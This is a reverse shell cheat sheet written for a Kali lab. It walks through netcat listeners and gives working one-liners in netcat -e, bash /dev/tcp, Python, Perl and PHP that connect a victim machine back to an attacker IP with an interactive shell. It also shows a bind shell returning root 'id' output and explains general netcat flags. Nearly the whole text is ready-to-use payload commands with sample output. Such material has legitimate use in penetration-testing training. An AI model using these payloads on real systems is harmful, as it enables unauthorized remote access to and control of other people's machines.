Reverse Shell Cheat Sheet: Netcat, Bash, Python, and PHP

Open a listener on Kali before any reverse-shell one-liner runs on the victim. Success prints listening on [any] PORT ... and later connect to [...] when the callback arrives.

nc -l -p "$LPORT" -v

listening on [any] 5555 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 42514

Leave this terminal open while you trigger callbacks from the victim or a second shell on Kali.

Use -n when you want numeric addresses only and want to skip resolver delays on a lab LAN.

nc -l -p 5999 -n -v

In a second shell, send test traffic:

echo test | nc -n -v 127.0.0.1 5999

listening on [any] 5999 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 39766
test

The (UNKNOWN) host label is normal when -n disables reverse DNS on the listener side.

When the victim ships netcat-traditional (or any nc with -e), the victim connects back and attaches a program to the socket.

Start the listener on Kali:

nc -l -p "$LPORT" -v

On the victim (or loopback on Kali for practice):

nc "$LHOST" "$LPORT" -e /bin/bash

The listener prints a connect to [...] line, then a shell prompt. Job-control warnings such as cannot set terminal process group are common on non-TTY callbacks.

Bash opens TCP through /dev/tcp when nc is missing or lacks -e.

Listener on Kali:

nc -l -p 6666 -v

On the victim:

LHOST=192.168.56.115 LPORT=6666 bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1

listening on [any] 6666 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 33410
bash: cannot set terminal process group (5214): Inappropriate ioctl for device
bash: no job control in this shell

Connection refused means no listener or a wrong LHOST/LPORT pair.

One-liners often hard-code /bin/bash. Some images use /usr/bin/bash.

On the victim:

which bash

/usr/bin/bash

Swap the path inside nc -e, Python subprocess.call, Perl exec, or PHP exec when which shows a non-default location.

Python is common on Linux servers. This pattern duplicates socket dup2 plus an interactive bash.

Listener on Kali:

nc -l -p 4444 -v

Victim one-liner (replace IP and port):

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.56.115",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

If the socket connects but the shell exits immediately, fix the bash path from which bash on the victim.

Use Perl when Python is absent but perl remains on the target.

Listener:

nc -l -p 7777 -v

Victim:

perl -e 'use Socket;$i="192.168.56.115";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

A successful callback shows the same connect to [...] line on the listener as other one-liners.

PHP CLI callbacks appear in web post-exploitation labs when php is installed.

Listener:

nc -l -p 8888 -v

Victim:

php -r '$sock=fsockopen("192.168.56.115",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

For web-only shells, upload a small PHP file when command length limits block long -r strings.

Zero-I/O mode checks whether a port accepts TCP without sending shell traffic — useful before bind-shell or service checks.

nc -z -v 127.0.0.1 22

localhost [127.0.0.1] 22 (ssh) open

Closed ports report Connection refused or (ssh) failed depending on verbose output.

-w limits how long nc waits on connect and final reads — helpful when a firewall blackholes traffic.

Start a short-lived listener:

nc -l -p 5997 -w 3 -v

Connect with a two-second timeout:

nc -w 2 -v 127.0.0.1 5997

localhost [127.0.0.1] 5997 (?) open

Hung or filtered hosts stop waiting after SECS instead of blocking indefinitely.

-o writes a hex dump of every byte — useful when you need proof of callback bytes in a lab report.

nc -l -p 5988 -o /tmp/nc-traffic.hex -v

In another shell:

printf 'hello\n' | nc 127.0.0.1 5988

Sample dump file:

< 00000000 68 65 6c 6c 6f 0a                               # hello.

The < prefix marks bytes read from the network side of the connection.

A bind shell listens on the victim. You connect from Kali instead of waiting for egress.

On the victim:

nc -l -p 9999 -e /bin/bash -v

From Kali:

echo id | nc 192.168.56.114 9999

uid=0(root) gid=0(root) groups=0(root)

Bind shells fail when host firewalls block inbound high ports — reverse shells are usually easier on modern networks.

-c passes a string to /bin/sh -c after connect — lighter than -e when you only need one command.

nc -l -p 5970 -c 'id' -v

Client:

nc -v 127.0.0.1 5970

listening on [any] 5970 ...
localhost [127.0.0.1] 5970 (?) open
connect to [127.0.0.1] from localhost [127.0.0.1] 51848
uid=0(root) gid=0(root) groups=0(root)

For full shells, prefer -e /bin/bash or interpreter one-liners instead of -c.

-q waits after stdin EOF before quitting — useful for scripted sends that should disconnect cleanly.

nc -l -p 5996 -q 1 -v

Send one line from another shell:

echo done | nc 127.0.0.1 5996

The client exits after EOF; the listener closes about one second later when -q 1 elapses. Use -q -1 to keep the network side open until the remote peer closes.

UDP mode uses -u for datagram sockets — different from default TCP reverse shells.

nc -u -v 127.0.0.1 53

localhost [127.0.0.1] 53 (domain) open

UDP listeners use nc -l -u -p PORT. Add -b when you need broadcast reception. Most reverse-shell labs use TCP; UDP is mainly for service checks and debugging.

-k tells the listener to accept another connection after the first client disconnects (traditional netcat only).

nc -l -p 5980 -k -v

First client:

nc -v 127.0.0.1 5980

After the first session ends, connect again with the same client command. If the second attempt shows Connection refused, the listener process may have exited — restart it or verify your netcat build supports -k.